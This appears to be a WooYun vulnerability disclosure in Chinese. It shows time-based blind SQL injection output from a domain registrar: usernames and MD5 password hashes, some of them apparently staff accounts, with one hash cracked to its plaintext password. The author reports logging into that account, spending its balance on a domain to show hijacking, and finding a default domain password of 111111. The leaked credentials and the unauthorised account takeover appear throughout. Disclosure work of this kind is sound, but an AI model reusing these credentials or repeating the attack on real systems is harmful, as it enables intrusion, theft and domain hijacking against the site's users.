WooYun.org

[16:07:07] [INFO] retrieved: 40de74267cc7a86fb4e4d6a2a8822453
[16:09:31] [INFO] retrieved: 120
[16:09:45] [INFO] retrieved: didididi
[16:10:21] [INFO] retrieved: 552d0832f1f33a964cf1062f9baeebc3
[16:12:40] [INFO] retrieved: 121
[16:12:50] [INFO] retrieved: domainfans
[16:13:38] [INFO] retrieved: d61dd91acabc50e0382536a98ab7bff5
[16:15:55] [INFO] retrieved: 122
[16:16:07] [INFO] retrieved: hupocom
[16:16:46] [INFO] retrieved: 7d6cd7f9e261e94b0a50981c8d945d53
[16:19:07] [INFO] retrieved: 123
[16:19:18] [INFO] retrieved: myooooo
[16:19:58] [INFO] retrieved: bfdccf20ffaf8127c3d8b90b9c7692b9
[16:22:22] [INFO] retrieved: 124
[16:22:34] [INFO] retrieved: gipcat
[16:23:04] [INFO] retrieved: feec148515393b86f97cec4f32154e7e
[16:25:20] [INFO] retrieved: 125
[16:25:32] [INFO] retrieved: wen6bin
[16:26:07] [INFO] retrieved: e578c25e4170b2436c52fd9f0d4a8570
[16:28:33] [INFO] retrieved: 126
[16:28:46] [INFO] retrieved: domain
[16:29:15] [INFO] retrieved: dab712ace274df980f3c133fc2ad33e4
随便跑的几条用户密码登录，因为是延时注入就不跑完了｀｀｀｀
以下几条疑似内部人员的｀｀在用户表里
[13:01:48] [INFO] retrieved: GZEX
[13:02:07] [INFO] retrieved: e8aa9b18372a445ec63a8bda194d1a4f
[13:04:21] [INFO] retrieved: 2
[13:04:25] [INFO] retrieved: CNEX
[13:04:43] [INFO] retrieved: e8aa9b1
[13:05:18] [ERROR] invalid character detected. retrying..
[13:05:18] [WARNING] increasing time delay to 2 seconds
[13:05:22] [ERROR] invalid character detected. retrying..
[13:05:22] [WARNING] increasing time delay to 3 seconds
8372a445ec63a8bda194
[13:09:17] [ERROR] invalid character detected. retrying..
[13:09:17] [WARNING] increasing time delay to 4 seconds
d1a4f
[13:10:26] [INFO] retrieved: 101
[13:28:03] [INFO] retrieved: loon
[13:29:28] [INFO] retrieved: aa1cbddbb1667f7227bcfdb25772f85c
[13:37:07] [INFO] retrieved: 102
[13:37:51] [INFO] retrieved: hupo
[13:39:17] [INFO] retrieved: 6f7ca649266feb4e970ffaa03f618d00
[13:47:36] [INFO] retrieved: 106
[13:48:23] [INFO] retrieved: gzpk
[13:49:44] [INFO] retrieved: d51e605d759
[13:52:31] [INFO] adjusting time delay to 1 second due to good response times
6331f9068ce669ea94d4b
[13:54:04] [INFO] retrieved: 107
[13:54:19] [INFO] retrieved: gzcs
[13:54:40] [INFO] retrieved: d51e605d7596331f9068ce669ea94d4b
[13:57:03] [INFO] retrieved: 108
[13:57:19] [INFO] retrieved: gztm
[13:57:42] [INFO] retrieved: 92b5a99124bc342169859e0df101560e
[13:59:59] [INFO] retrieved: 109
[14:00:13] [INFO] retrieved: gz$sa
[14:00:37] [INFO] retrieved: d51e605d7596331f9068ce669ea94d4b
[14:03:00] [INFO] retrieved: 110
[14:03:12] [INFO] retrieved: xuyang
[14:03:43] [INFO] retrieved: df6ddd9bb84463389b58dd721
其中登上了一个异常账号
[13:28:03] [INFO] retrieved: loon
[13:29:28] [INFO] retrieved: aa1cbddbb1667f7227bcfdb25772f85c
md5解密后是kissme
应该是官方的账号，看充值记录里面只充值了1毛钱却有380元｀｀｀｀｀且没有消费过。

购买一个域名，w00yun.org来演示劫持下｀｀｀不到100元吧，这个域名我一直想买，官方可以联系我，消费的金额事后官方联系我可以补回来。
购买的时候可以选择解析的服务器地址，这里还有一个安全缺陷，默认选择是默认域名密码，默认域名密码通过抓包看到是111111。

购买成功后可以看到自己是可以解析的｀｀｀｀｀｀｀｀
可以看到的是注入不止用户密码，还有管理表各种表｀｀｀｀还有一个dns的数据库，不知道是否是域名＋域名密码的裤子｀｀｀｀